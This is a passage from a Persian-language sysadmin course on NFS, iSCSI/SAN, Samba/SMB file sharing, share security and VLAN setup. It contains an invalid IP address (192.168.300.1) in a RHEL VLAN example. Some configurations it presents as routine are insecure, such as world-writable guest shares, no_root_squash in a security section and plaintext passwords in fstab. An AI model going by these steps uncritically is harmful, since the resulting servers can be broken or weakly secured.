/mnt/nfs_share 192.168.1.0/24(rw,sync,no_root_squash,no_subtree_check)

اعمال تغییرات:

exportfs -ra
systemctl restart nfs-server
۲.۴ تنظیمات در کلاینت‌های NFS

برای اتصال کلاینت‌ها:

mkdir -p /mnt/nfs_client
mount -t nfs 192.168.1.10:/mnt/nfs_share /mnt/nfs_client

برای اتصال دائمی، فایل /etc/fstab را ویرایش کنید:

nano /etc/fstab

اضافه کردن این خط:

192.168.1.10:/mnt/nfs_share /mnt/nfs_client nfs defaults 0 0

۳. افزایش کارایی NFS در محیط‌های توزیع‌شده

۳.۱ فعال‌سازی کش محلی در کلاینت‌ها

برای بهبود عملکرد، می‌توان fs-cache را فعال کرد:

echo "OPTIONS=\"-fsc\"" >> /etc/default/nfs-common
systemctl restart nfs-client.target
۳.۲ افزایش تعداد پردازش‌های سرور NFS

افزایش مقدار پردازش‌های NFS برای مدیریت کلاینت‌های بیشتر:

echo "RPCNFSDCOUNT=16" >> /etc/default/nfs-kernel-server
systemctl restart nfs-server
۳.۳ استفاده از NFS over RDMA برای بهبود کارایی

اگر سخت‌افزار شما از RDMA (Remote Direct Memory Access) پشتیبانی می‌کند، می‌توانید از NFS over RDMA برای افزایش سرعت استفاده کنید:

mount -o rdma,port=20049 192.168.1.10:/mnt/nfs_share /mnt/nfs_client

۴. افزایش امنیت در NFS توزیع‌شده

۴.۱ محدود کردن دسترسی کلاینت‌ها

فایل /etc/exports باید شامل آی‌پی‌های مشخصی باشد تا فقط کلاینت‌های مجاز بتوانند متصل شوند:

/mnt/nfs_share 192.168.1.100(rw,sync,root_squash,no_subtree_check)
/mnt/nfs_share 192.168.1.101(rw,sync,root_squash,no_subtree_check)

اعمال تغییرات:

exportfs -ra
۴.۲ فایروال برای محدود کردن دسترسی‌ها

در Ubuntu/Debian:

ufw allow from 192.168.1.0/24 to any port nfs
ufw enable

در CentOS/RHEL:

firewall-cmd --permanent --add-service=nfs
firewall-cmd --permanent --add-service=rpc-bind
firewall-cmd --permanent --add-service=mountd
firewall-cmd --reload
۴.۳ استفاده از Kerberos برای احراز هویت کلاینت‌ها

در /etc/exports این گزینه را اضافه کنید:

/mnt/nfs_secure 192.168.1.0/24(rw,sync,sec=krb5p)

سپس سرویس NFS را ری‌استارت کنید:

systemctl restart nfs-server

۵. مانیتورینگ و رفع اشکال در NFS

۵.۱ بررسی وضعیت سرویس NFS
systemctl status nfs-server
۵.۲ بررسی کلاینت‌های متصل
showmount -a
۵.۳ بررسی لاگ‌های خطا
journalctl -u nfs-server --since "1 hour ago"

جمع‌بندی

  • NFS در محیط‌های توزیع‌شده می‌تواند به‌صورت متمرکز (یک سرور) یا توزیع‌شده (چند سرور) پیاده‌سازی شود.
  • استفاده از کش محلی، افزایش پردازش‌های سرور، و NFS over RDMA می‌تواند کارایی را افزایش دهد.
  • برای امنیت، محدود کردن آی‌پی‌های مجاز، استفاده از Kerberos، و تنظیم فایروال الزامی است.
  • مانیتورینگ کلاینت‌ها و بررسی لاگ‌ها برای جلوگیری از مشکلات احتمالی ضروری است.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”پیکربندی iSCSI Targets و Initiators” subtitle=”توضیحات کامل”]iSCSI (Internet Small Computer Systems Interface) یک پروتکل مبتنی بر شبکه است که به دستگاه‌های ذخیره‌سازی اجازه می‌دهد تا از طریق شبکه IP در دسترس سرورها (Initiators) قرار بگیرند. این فناوری در محیط‌های سازمانی برای SAN (Storage Area Network) بسیار پرکاربرد است. در این بخش، مراحل نصب، پیکربندی و مدیریت iSCSI Target و iSCSI Initiator ارائه می‌شود.


۱. مفاهیم اصلی iSCSI

۱.۱ iSCSI Target

سروری که فضای ذخیره‌سازی را از طریق iSCSI در اختیار کلاینت‌ها قرار می‌دهد.

۱.۲ iSCSI Initiator

کلاینتی که به iSCSI Target متصل شده و مانند یک دیسک محلی از آن استفاده می‌کند.

۱.۳ IQN (iSCSI Qualified Name)

یک شناسه یکتا که برای شناسایی iSCSI Target و Initiator در شبکه استفاده می‌شود.


۲. نصب iSCSI Target و Initiator

۲.۱ نصب iSCSI Target روی سرور (Ubuntu/Debian)
apt update && apt install -y tgt
۲.۲ نصب iSCSI Initiator روی کلاینت (Ubuntu/Debian)
apt update && apt install -y open-iscsi

۳. پیکربندی iSCSI Target

۳.۱ ایجاد یک دیسک مجازی برای اشتراک‌گذاری از طریق iSCSI
dd if=/dev/zero of=/var/iscsi_disks/disk1.img bs=1G count=10
mkfs.ext4 /var/iscsi_disks/disk1.img
۳.۲ تعریف یک Target در فایل پیکربندی

ویرایش فایل /etc/tgt/conf.d/iscsi.conf:

nano /etc/tgt/conf.d/iscsi.conf

اضافه کردن پیکربندی زیر:

<target iqn.2025-03.local.iscsi:disk1>
    backing-store /var/iscsi_disks/disk1.img
    initiator-address 192.168.1.100
    incominguser iscsiuser iscsi_password
    outgoinguser iscsiuser iscsi_password
</target>
۳.۳ راه‌اندازی مجدد سرویس iSCSI Target
systemctl restart tgt
۳.۴ بررسی وضعیت Target‌ها
tgtadm --mode target --op show

۴. پیکربندی iSCSI Initiator (کلاینت)

۴.۱ فعال‌سازی iSCSI Initiator
systemctl enable --now open-iscsi
۴.۲ جستجوی Targetهای موجود
iscsiadm -m discovery -t sendtargets -p 192.168.1.10
۴.۳ اضافه کردن و احراز هویت
iscsiadm -m node -T iqn.2025-03.local.iscsi:disk1 -p 192.168.1.10 --login
۴.۴ بررسی اتصال دیسک iSCSI
lsblk

۵. فرمت و مانت کردن دیسک در کلاینت

۵.۱ فرمت دیسک iSCSI در کلاینت
mkfs.ext4 /dev/sdb
۵.۲ ایجاد نقطه مونت و سوار کردن دیسک
mkdir -p /mnt/iscsi_disk
mount /dev/sdb /mnt/iscsi_disk
۵.۳ اضافه کردن به /etc/fstab برای مانت دائمی
nano /etc/fstab

اضافه کردن این خط:

/dev/sdb /mnt/iscsi_disk ext4 defaults,_netdev 0 0

۶. مدیریت و نگهداری iSCSI

۶.۱ بررسی وضعیت اتصال iSCSI
iscsiadm -m session
۶.۲ قطع اتصال از Target
iscsiadm -m node -T iqn.2025-03.local.iscsi:disk1 -p 192.168.1.10 --logout
۶.۳ حذف یک Target از کلاینت
iscsiadm -m node -o delete -T iqn.2025-03.local.iscsi:disk1

جمع‌بندی

  • iSCSI یک راهکار قوی برای اشتراک‌گذاری فضای ذخیره‌سازی در محیط‌های شبکه‌ای است.
  • Target روی سرور iSCSI پیکربندی شده و از طریق شبکه به Initiator متصل می‌شود.
  • مدیریت و مانیتورینگ iSCSI برای حفظ کارایی و جلوگیری از خطاهای احتمالی ضروری است.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”راه‌اندازی SAN با استفاده از iSCSI” subtitle=”توضیحات کامل”]Storage Area Network (SAN) یک شبکه اختصاصی برای ذخیره‌سازی داده‌ها است که به دستگاه‌های مختلف اجازه می‌دهد تا به یک فضای ذخیره‌سازی مشترک متصل شوند. یکی از روش‌های پیاده‌سازی SAN، استفاده از iSCSI (Internet Small Computer Systems Interface) است که از پروتکل TCP/IP برای ارتباط بین سرورها و دستگاه‌های ذخیره‌سازی استفاده می‌کند.

در این بخش، راه‌اندازی یک SAN مبتنی بر iSCSI شامل پیکربندی iSCSI Target (سرور ذخیره‌سازی) و iSCSI Initiator (کلاینت‌های متصل‌شونده) آموزش داده می‌شود.


۱. نصب و راه‌اندازی iSCSI Target

۱.۱ نصب بسته‌های موردنیاز روی سرور SAN (Ubuntu/Debian)
apt update && apt install -y tgt
۱.۲ ایجاد یک دیسک مجازی برای استفاده در SAN
mkdir -p /var/iscsi_disks
dd if=/dev/zero of=/var/iscsi_disks/san_disk.img bs=1G count=50
mkfs.ext4 /var/iscsi_disks/san_disk.img
۱.۳ ویرایش پیکربندی iSCSI Target
nano /etc/tgt/conf.d/san.conf

اضافه کردن پیکربندی زیر:

<target iqn.2025-03.local.san:disk1>
    backing-store /var/iscsi_disks/san_disk.img
    initiator-address 192.168.1.0/24
    incominguser iscsiuser sanpassword
</target>
۱.۴ راه‌اندازی مجدد سرویس iSCSI Target
systemctl restart tgt
۱.۵ بررسی وضعیت Target‌های موجود
tgtadm --mode target --op show

۲. پیکربندی iSCSI Initiator (کلاینت SAN)

۲.۱ نصب بسته‌های موردنیاز روی کلاینت‌ها (Ubuntu/Debian)
apt update && apt install -y open-iscsi
۲.۲ فعال‌سازی و شروع سرویس iSCSI
systemctl enable --now open-iscsi
۲.۳ کشف Targetهای موجود در شبکه
iscsiadm -m discovery -t sendtargets -p 192.168.1.10
۲.۴ احراز هویت و اتصال به Target
iscsiadm -m node -T iqn.2025-03.local.san:disk1 -p 192.168.1.10 --login
۲.۵ بررسی دیسک iSCSI متصل‌شده
lsblk

۳. پارتیشن‌بندی، فرمت و مانت کردن فضای ذخیره‌سازی SAN

۳.۱ ایجاد پارتیشن روی دیسک iSCSI
fdisk /dev/sdb

مراحل داخل fdisk:

  1. فشار دادن n برای ایجاد یک پارتیشن جدید
  2. انتخاب p برای پارتیشن Primary
  3. فشردن Enter برای مقدار پیش‌فرض
  4. فشردن w برای ذخیره تغییرات
۳.۲ فرمت پارتیشن جدید با ext4
mkfs.ext4 /dev/sdb1
۳.۳ ایجاد دایرکتوری برای مانت و سوار کردن دیسک SAN
mkdir -p /mnt/san_storage
mount /dev/sdb1 /mnt/san_storage
۳.۴ اضافه کردن به /etc/fstab برای مانت دائمی
nano /etc/fstab

اضافه کردن خط زیر:

/dev/sdb1 /mnt/san_storage ext4 defaults,_netdev 0 0

۴. مدیریت و نگهداری SAN مبتنی بر iSCSI

۴.۱ بررسی وضعیت اتصال به iSCSI SAN
iscsiadm -m session
۴.۲ قطع اتصال از iSCSI Target
iscsiadm -m node -T iqn.2025-03.local.san:disk1 -p 192.168.1.10 --logout
۴.۳ حذف یک Target از کلاینت
iscsiadm -m node -o delete -T iqn.2025-03.local.san:disk1
۴.۴ بررسی وضعیت Target‌ها روی سرور
tgtadm --mode target --op show

جمع‌بندی

  • iSCSI به عنوان یک فناوری پرکاربرد برای راه‌اندازی SAN استفاده می‌شود.
  • iSCSI Target روی سرور پیاده‌سازی شده و فضای ذخیره‌سازی را به کلاینت‌های شبکه ارائه می‌دهد.
  • iSCSI Initiator کلاینت‌ها را قادر می‌سازد تا به Target متصل شده و از دیسک SAN به عنوان یک دیسک محلی استفاده کنند.
  • مدیریت و مانیتورینگ Target‌ها و Initiator‌ها برای حفظ عملکرد و جلوگیری از خطا ضروری است.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”CIFS/SMB: کار با پروتکل‌های فایل شبکه‌ای در سیستم‌های مختلف” subtitle=”توضیحات کامل”]CIFS (Common Internet File System) و SMB (Server Message Block) دو پروتکل محبوب برای به اشتراک‌گذاری فایل‌ها، پرینترها و منابع شبکه‌ای بین سیستم‌های مختلف هستند. SMB نسخه‌ی بهبودیافته‌ی CIFS است که توسط مایکروسافت توسعه داده شده و در محیط‌های ویندوز و لینوکس به‌طور گسترده استفاده می‌شود.

در این بخش، راه‌اندازی یک سرور SMB/CIFS، مدیریت اشتراک‌گذاری‌ها، کنترل دسترسی‌ها و پیکربندی کلاینت‌ها در لینوکس و ویندوز آموزش داده می‌شود.


۱. نصب و پیکربندی سرور SMB در لینوکس (Ubuntu/Debian)

۱.۱ نصب بسته‌های موردنیاز
apt update && apt install -y samba
۱.۲ ایجاد یک دایرکتوری برای اشتراک‌گذاری فایل‌ها
mkdir -p /srv/smb/shared
chmod 777 /srv/smb/shared
۱.۳ تنظیمات فایل پیکربندی Samba
nano /etc/samba/smb.conf

اضافه کردن بخش زیر:

[Shared]
    path = /srv/smb/shared
    browsable = yes
    writable = yes
    guest ok = yes
    create mask = 0777
    directory mask = 0777
۱.۴ راه‌اندازی مجدد سرویس Samba
systemctl restart smbd
۱.۵ بررسی وضعیت سرویس Samba
systemctl status smbd
۱.۶ فعال‌سازی Samba در استارتاپ سیستم
systemctl enable smbd

۲. افزودن کاربران به Samba (دسترسی احراز هویت‌شده)

۲.۱ ایجاد یک کاربر در سیستم لینوکس
useradd -M -s /sbin/nologin smbuser
۲.۲ تنظیم رمز عبور برای کاربر Samba
smbpasswd -a smbuser
۲.۳ ویرایش smb.conf برای محدود کردن دسترسی به کاربران خاص
nano /etc/samba/smb.conf

اضافه کردن تغییرات:

[Shared]
    path = /srv/smb/shared
    browsable = yes
    writable = yes
    guest ok = no
    valid users = smbuser
    create mask = 0770
    directory mask = 0770
۲.۴ راه‌اندازی مجدد Samba برای اعمال تغییرات
systemctl restart smbd

۳. پیکربندی کلاینت‌های SMB/CIFS در لینوکس

۳.۱ نصب بسته‌های موردنیاز
apt install -y cifs-utils
۳.۲ مانت کردن اشتراک SMB به‌صورت دستی
mount -t cifs -o username=smbuser,password=yourpassword //192.168.1.10/Shared /mnt
۳.۳ اضافه کردن به /etc/fstab برای مانت خودکار در بوت
nano /etc/fstab

اضافه کردن خط زیر:

//192.168.1.10/Shared /mnt cifs username=smbuser,password=yourpassword,iocharset=utf8 0 0
۳.۴ بررسی اتصال و دسترسی به فایل‌ها
ls -lah /mnt
۳.۵ قطع اتصال اشتراک SMB
umount /mnt

۴. پیکربندی کلاینت‌های SMB/CIFS در ویندوز

۴.۱ اتصال به اشتراک SMB از File Explorer

۱. کلید Win + R را فشار دهید.
۲. دستور زیر را تایپ کنید و Enter بزنید:

\\192.168.1.10\Shared

۳. نام کاربری و رمز عبور Samba را وارد کنید.
۴. اشتراک SMB نمایش داده خواهد شد.

۴.۲ مانت کردن اشتراک SMB به‌عنوان یک درایو در ویندوز

۱. در File Explorer، روی This PC کلیک کنید.
2. Map network drive را انتخاب کنید.
3. یک درایو مانند Z: انتخاب کنید.
4. در قسمت Folder، آدرس اشتراک را وارد کنید:

\\192.168.1.10\Shared
  1. تیک Reconnect at sign-in را بزنید و روی Finish کلیک کنید.

۵. مدیریت و مانیتورینگ Samba

۵.۱ بررسی کاربران متصل‌شده به سرور Samba
smbstatus
۵.۲ بررسی پیکربندی Samba برای خطاها
testparm
۵.۳ مشاهده لاگ‌های مربوط به Samba
tail -f /var/log/samba/log.smbd
۵.۴ حذف کاربر از Samba
smbpasswd -x smbuser

جمع‌بندی

  • SMB/CIFS یک پروتکل استاندارد برای به اشتراک‌گذاری فایل‌ها و منابع شبکه‌ای بین سیستم‌های مختلف است.
  • Samba در لینوکس امکان پیاده‌سازی یک سرور SMB را برای اشتراک‌گذاری فایل‌ها و مدیریت سطح دسترسی‌ها فراهم می‌کند.
  • کلاینت‌های لینوکس و ویندوز می‌توانند به سرور SMB متصل شده و از فضای اشتراک‌گذاری شده استفاده کنند.
  • با مدیریت کاربران و سطح دسترسی‌ها، می‌توان امنیت و کنترل بهتری روی اشتراک‌گذاری‌ها اعمال کرد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات اشتراک‌گذاری فایل در Linux و Windows” subtitle=”توضیحات کامل”]اشتراک‌گذاری فایل‌ها بین سیستم‌های لینوکس و ویندوز برای انتقال داده‌ها، همکاری تیمی و مدیریت منابع شبکه ضروری است. روش‌های مختلفی برای این کار وجود دارد که در این بخش Samba (SMB/CIFS) برای ارتباط بین ویندوز و لینوکس و NFS برای ارتباط بین لینوکس‌ها بررسی می‌شود.


۱. اشتراک‌گذاری فایل‌ها در لینوکس با استفاده از Samba (SMB/CIFS)

۱.۱ نصب Samba در سرور لینوکس (Ubuntu/Debian)
apt update && apt install -y samba
۱.۲ ایجاد دایرکتوری برای اشتراک‌گذاری
mkdir -p /srv/smb/shared
chmod 777 /srv/smb/shared
۱.۳ ویرایش فایل تنظیمات Samba
nano /etc/samba/smb.conf

اضافه کردن تنظیمات:

[Shared]
    path = /srv/smb/shared
    browsable = yes
    writable = yes
    guest ok = yes
    create mask = 0777
    directory mask = 0777
۱.۴ راه‌اندازی مجدد سرویس Samba
systemctl restart smbd
۱.۵ بررسی وضعیت Samba
systemctl status smbd
۱.۶ افزودن کاربر برای دسترسی احراز هویت‌شده
useradd -M -s /sbin/nologin smbuser
smbpasswd -a smbuser
۱.۷ تنظیمات سطح دسترسی برای کاربران خاص

ویرایش smb.conf:

[Shared]
    path = /srv/smb/shared
    browsable = yes
    writable = yes
    guest ok = no
    valid users = smbuser
    create mask = 0770
    directory mask = 0770

سپس راه‌اندازی مجدد Samba:

systemctl restart smbd

۲. اتصال به Samba از ویندوز

۲.۱ اتصال به اشتراک Samba در File Explorer

۱. کلید Win + R را بزنید و دستور زیر را وارد کنید:

\\192.168.1.10\Shared

۲. نام کاربری و رمز عبور را وارد کنید.
۳. فایل‌ها نمایش داده خواهند شد.

۲.۲ مانت کردن Samba به‌عنوان درایو شبکه‌ای

۱. در File Explorer روی This PC کلیک کنید.
۲. گزینه Map network drive را انتخاب کنید.
۳. یک درایو مثل Z: را انتخاب کنید.
۴. در قسمت Folder آدرس را وارد کنید:

\\192.168.1.10\Shared

۵. گزینه Reconnect at sign-in را فعال کنید و Finish را بزنید.


۳. اشتراک‌گذاری فایل‌ها در لینوکس با استفاده از NFS

۳.۱ نصب NFS در سرور لینوکس (Ubuntu/Debian)
apt update && apt install -y nfs-kernel-server
۳.۲ ایجاد دایرکتوری برای اشتراک‌گذاری و تنظیمات سطح دسترسی
mkdir -p /srv/nfs/shared
chmod 777 /srv/nfs/shared
۳.۳ ویرایش فایل تنظیمات NFS در مسیر /etc/exports
nano /etc/exports

اضافه کردن:

/srv/nfs/shared 192.168.1.0/24(rw,sync,no_root_squash,no_subtree_check)
۳.۴ راه‌اندازی مجدد سرویس NFS
systemctl restart nfs-kernel-server
۳.۵ بررسی وضعیت سرویس NFS
systemctl status nfs-kernel-server

۴. اتصال به NFS در کلاینت لینوکس

۴.۱ نصب بسته‌های NFS در کلاینت
apt install -y nfs-common
۴.۲ مانت کردن اشتراک NFS به‌صورت دستی
mount -t nfs 192.168.1.10:/srv/nfs/shared /mnt
۴.۳ اضافه کردن به /etc/fstab برای مانت خودکار
nano /etc/fstab

اضافه کردن خط زیر:

192.168.1.10:/srv/nfs/shared /mnt nfs defaults 0 0
۴.۴ بررسی اتصال و دسترسی به فایل‌ها
ls -lah /mnt
۴.۵ قطع اتصال اشتراک NFS
umount /mnt

۵. اشتراک‌گذاری فایل‌ها در ویندوز (Folder Sharing)

۵.۱ اشتراک‌گذاری پوشه در ویندوز

۱. روی پوشه موردنظر کلیک راست کنید و Properties را انتخاب کنید.
۲. به تب Sharing بروید و روی Advanced Sharing کلیک کنید.
۳. گزینه Share this folder را فعال کنید و نام اشتراک را مشخص کنید.
۴. روی Permissions کلیک کرده و سطح دسترسی کاربران را مشخص کنید.
۵. روی OK کلیک کنید تا تنظیمات ذخیره شوند.

۵.۲ مشاهده اشتراک‌های فعال در ویندوز
net share
۵.۳ دسترسی به اشتراک از لینوکس
apt install -y cifs-utils
mount -t cifs -o username=windows_user,password=windows_password //192.168.1.10/Shared /mnt
۵.۴ اضافه کردن به /etc/fstab برای مانت خودکار
nano /etc/fstab

اضافه کردن:

//192.168.1.10/Shared /mnt cifs username=windows_user,password=windows_password,iocharset=utf8 0 0
۵.۵ بررسی اتصال و مشاهده فایل‌های اشتراک‌گذاری شده
ls -lah /mnt
۵.۶ قطع اتصال اشتراک ویندوز
umount /mnt

جمع‌بندی

  • Samba (SMB/CIFS) برای ارتباط بین لینوکس و ویندوز استفاده می‌شود و امکان به اشتراک‌گذاری فایل‌ها با احراز هویت و تنظیمات امنیتی را فراهم می‌کند.
  • NFS برای اشتراک‌گذاری فایل بین سیستم‌های لینوکس بهینه است و عملکرد بالایی دارد.
  • در ویندوز، از File Sharing برای اشتراک‌گذاری فایل‌ها و از net share برای مدیریت اشتراک‌ها استفاده می‌شود.
  • با استفاده از fstab می‌توان مانت خودکار را در لینوکس پیکربندی کرد و از Map Network Drive در ویندوز برای اتصال دائمی به اشتراک‌ها بهره برد.

[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تنظیمات امنیتی و محدود کردن دسترسی‌ها در اشتراک‌گذاری فایل” subtitle=”توضیحات کامل”]امنیت در اشتراک‌گذاری فایل اهمیت زیادی دارد، زیرا دسترسی غیرمجاز می‌تواند باعث افشای اطلاعات حساس، حذف یا تغییر داده‌ها شود. در این بخش، راهکارهای امنیتی برای Samba (SMB/CIFS)، NFS و اشتراک‌گذاری فایل در ویندوز بررسی خواهد شد.


۱. تنظیمات امنیتی در Samba (SMB/CIFS)

۱.۱ غیرفعال کردن دسترسی ناشناس (Guest Access)

در فایل /etc/samba/smb.conf مقدار guest ok = no را تنظیم کنید:

nano /etc/samba/smb.conf

اضافه کردن:

[Shared]
    path = /srv/smb/shared
    browsable = yes
    writable = yes
    guest ok = no
    valid users = smbuser
    create mask = 0700
    directory mask = 0700

ذخیره و راه‌اندازی مجدد Samba:

systemctl restart smbd
۱.۲ ایجاد کاربران خاص برای Samba
useradd -M -s /sbin/nologin smbuser
smbpasswd -a smbuser
۱.۳ تنظیم سطح دسترسی به فایل‌ها و دایرکتوری‌های Samba
chmod -R 700 /srv/smb/shared
chown -R smbuser:smbuser /srv/smb/shared
۱.۴ مسدود کردن کاربران ناشناس از اتصال به Samba

در فایل /etc/samba/smb.conf گزینه‌های زیر را تنظیم کنید:

restrict anonymous = 2

سپس سرویس را راه‌اندازی مجدد کنید:

systemctl restart smbd
۱.۵ محدود کردن دسترسی Samba بر اساس آدرس IP
[Shared]
    path = /srv/smb/shared
    browsable = yes
    writable = yes
    valid users = smbuser
    hosts allow = 192.168.1.0/24
    hosts deny = 0.0.0.0/0

پس از تغییرات، راه‌اندازی مجدد Samba:

systemctl restart smbd

۲. تنظیمات امنیتی در NFS

۲.۱ محدود کردن دسترسی کلاینت‌ها در فایل /etc/exports
nano /etc/exports

مثال تنظیمات:

/srv/nfs/shared 192.168.1.10(rw,sync,no_root_squash,no_subtree_check)
/srv/nfs/shared 192.168.1.0/24(ro,sync,no_subtree_check)

سپس راه‌اندازی مجدد NFS:

exportfs -ra
systemctl restart nfs-kernel-server
۲.۲ بررسی دسترسی‌ها به NFS و بستن پورت‌های غیرضروری
rpcinfo -p
netstat -tunlp | grep nfs
۲.۳ تنظیم فایروال برای NFS
ufw allow from 192.168.1.0/24 to any port 2049
ufw enable

۳. تنظیمات امنیتی در اشتراک‌گذاری فایل ویندوز

۳.۱ تعیین مجوزهای دسترسی کاربران

۱. روی پوشه اشتراک‌گذاری‌شده کلیک راست کنید و Properties را انتخاب کنید.
2. در تب Security روی Edit کلیک کنید.
3. کاربران مجاز را مشخص کرده و Read یا Full Control را تنظیم کنید.
4. کاربران غیرمجاز را Remove کنید.

۳.۲ محدود کردن اشتراک‌ها در سطح شبکه

در Run (Win + R) تایپ کنید:

gpedit.msc

مسیر زیر را باز کنید:

Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options

گزینه “Network access: Shares that can be accessed anonymously” را غیرفعال کنید.

۳.۳ غیرفعال کردن SMBv1 و تنظیمات امنیتی بالاتر
sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
sc.exe config mrxsmb10 start= disabled
۳.۴ مشاهده و حذف اشتراک‌های ناخواسته در ویندوز

مشاهده اشتراک‌ها:

net share

حذف اشتراک ناخواسته:

net share SharedFolder /delete

۴. تنظیمات فایروال برای محدود کردن دسترسی‌ها

۴.۱ محدود کردن دسترسی Samba در لینوکس
ufw allow from 192.168.1.0/24 to any port 445
ufw enable
۴.۲ بستن پورت‌های غیرضروری برای امنیت بیشتر
ufw deny 111/tcp
ufw deny 111/udp
ufw deny 2049/tcp
ufw deny 2049/udp
۴.۳ مشاهده و تأیید تنظیمات فایروال
ufw status verbose

۵. استفاده از SELinux و AppArmor برای افزایش امنیت

۵.۱ بررسی وضعیت SELinux
sestatus

اگر غیرفعال است، فعال کنید:

setenforce 1
۵.۲ محدود کردن سطح دسترسی سرویس‌ها با AppArmor
aa-status

محدود کردن smbd:

nano /etc/apparmor.d/usr.sbin.smbd

اضافه کردن:

deny /srv/smb/private/** rw,

سپس سرویس را بازخوانی کنید:

apparmor_parser -r /etc/apparmor.d/usr.sbin.smbd

جمع‌بندی

  • Samba: باید دسترسی ناشناس را غیرفعال کرد، کاربران خاص را تعریف کرد و دسترسی را بر اساس IP محدود کرد.
  • NFS: باید فقط کلاینت‌های مجاز را مشخص کرد و از no_root_squash فقط در موارد خاص استفاده کرد.
  • ویندوز: باید دسترسی‌های اشتراک را دقیق تنظیم کرد، SMBv1 را غیرفعال کرد و از gpedit.msc برای امنیت بیشتر استفاده کرد.
  • فایروال: باید پورت‌های غیرضروری را بست و فقط دسترسی‌های مجاز را از طریق ufw یا iptables باز گذاشت.
  • SELinux و AppArmor: برای کنترل دقیق‌تر دسترسی‌ها توصیه می‌شود.

[/cdb_course_lesson][/cdb_course_lessons]

[cdb_course_lessons title=”بخش 2: مدیریت شبکه پیشرفته”][cdb_course_lesson title=”فصل 1. تنظیمات شبکه پیشرفته”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” title=”تعریف و پیکربندی VLAN (Virtual Local Area Network)” subtitle=”توضیحات کامل”]VLAN یا شبکه محلی مجازی، یک روش برای تقسیم‌بندی منطقی شبکه در لایه 2 (Data Link) است که به دستگاه‌های مختلف اجازه می‌دهد در یک سوئیچ فیزیکی ولی در شبکه‌های مختلف ارتباط برقرار کنند. VLAN باعث بهبود امنیت، کاهش ترافیک برودکست و مدیریت ساده‌تر شبکه می‌شود.

در این بخش، نحوه تعریف و پیکربندی VLAN در سوئیچ‌های مدیریتی و سیستم‌عامل‌های لینوکس و ویندوز بررسی خواهد شد.


۱. تنظیم VLAN در سوئیچ‌های مدیریتی (Cisco, HP, Mikrotik)

۱.۱ تنظیم VLAN در سوئیچ‌های Cisco

وارد مد پیکربندی شوید:

enable
configure terminal

ایجاد VLAN و نام‌گذاری آن:

vlan 10
name HR
exit

اختصاص پورت به VLAN 10:

interface FastEthernet0/1
switchport mode access
switchport access vlan 10
exit

بررسی تنظیمات VLAN:

show vlan brief
۱.۲ تنظیم VLAN در سوئیچ‌های HP
vlan 20
name Finance
exit
interface 1
untagged vlan 20
exit

بررسی VLANها:

show vlan
۱.۳ تنظیم VLAN در سوئیچ‌های Mikrotik
/interface vlan add name=VLAN30 vlan-id=30 interface=ether1
/ip address add address=192.168.30.1/24 interface=VLAN30

مشاهده VLANها:

/interface vlan print

۲. تنظیم VLAN در لینوکس

۲.۱ نصب بسته‌های موردنیاز

در سیستم‌های مبتنی بر Debian/Ubuntu:

apt update && apt install vlan -y

در سیستم‌های مبتنی بر RHEL/CentOS:

yum install -y vlan
۲.۲ فعال‌سازی 802.1Q Kernel Module
modprobe 8021q
echo "8021q" >> /etc/modules
۲.۳ تنظیم VLAN به‌صورت موقت

ایجاد یک VLAN روی اینترفیس eth0:

ip link add link eth0 name eth0.100 type vlan id 100
ip addr add 192.168.100.1/24 dev eth0.100
ip link set dev eth0.100 up

مشاهده وضعیت VLAN:

ip -d link show eth0.100
۲.۴ تنظیم VLAN به‌صورت دائمی در Debian/Ubuntu

ویرایش فایل:

nano /etc/network/interfaces

افزودن تنظیمات:

auto eth0.200
iface eth0.200 inet static
    address 192.168.200.1
    netmask 255.255.255.0
    vlan-raw-device eth0

اعمال تغییرات:

systemctl restart networking
۲.۵ تنظیم VLAN به‌صورت دائمی در RHEL/CentOS

ایجاد فایل:

nano /etc/sysconfig/network-scripts/ifcfg-eth0.300

افزودن:

DEVICE=eth0.300
BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.300.1
NETMASK=255.255.255.0
VLAN=yes

راه‌اندازی مجدد:

systemctl restart network

۳. تنظیم VLAN در ویندوز

۳.۱ فعال‌سازی VLAN در کارت شبکه

۱. در Device Manager، کارت شبکه را انتخاب کنید.
۲. روی Properties کلیک کنید.
۳. در تب Advanced، گزینه VLAN ID را پیدا کنید و مقدار موردنظر (مثلاً 400) را وارد کنید.

۳.۲ تنظیم VLAN با PowerShell

مشاهده اینترفیس‌های شبکه:

Get-NetAdapter

تنظیم VLAN:

Set-NetAdapter -Name "Ethernet" -VlanID 400

بررسی تنظیمات:

Get-NetAdapterAdvancedProperty -Name "Ethernet" -DisplayName "VLAN ID"

۴. تنظیمات VLAN Trunk و Inter-VLAN Routing

۴.۱ تنظیم Trunk در سوئیچ‌های Cisco
interface GigabitEthernet0/1
switchport mode trunk
switchport trunk allowed vlan 10,20,30
exit
۴.۲ فعال‌سازی Inter-VLAN Routing در روتر Cisco
interface vlan 10
ip address 192.168.10.1 255.255.255.0
exit

interface vlan 20
ip address 192.168.20.1 255.255.255.0
exit

ip routing
۴.۳ تنظیم Inter-VLAN Routing در لینوکس
echo 1 > /proc/sys/net/ipv4/ip_forward

یا در فایل /etc/sysctl.conf مقدار زیر را اضافه کنید:

net.ipv4.ip_forward = 1

اعمال تغییرات:

sysctl -p

جمع‌بندی

  • در سوئیچ‌های مدیریتی، VLANها از طریق CLI تنظیم می‌شوند و هر VLAN می‌تواند محدوده‌ای از کاربران را جدا کند.
  • در لینوکس، VLANها به‌صورت اینترفیس‌های مجازی تعریف می‌شوند و در فایل‌های /etc/network/interfaces یا /etc/sysconfig/network-scripts/ ذخیره می‌شوند.
  • در ویندوز، VLAN معمولاً از طریق تنظیمات کارت شبکه یا PowerShell تنظیم می‌شود.
  • برای ارتباط VLANها، از Trunk و Inter-VLAN Routing استفاده می‌شود که روی روتر یا سوئیچ لایه ۳ قابل تنظیم است.

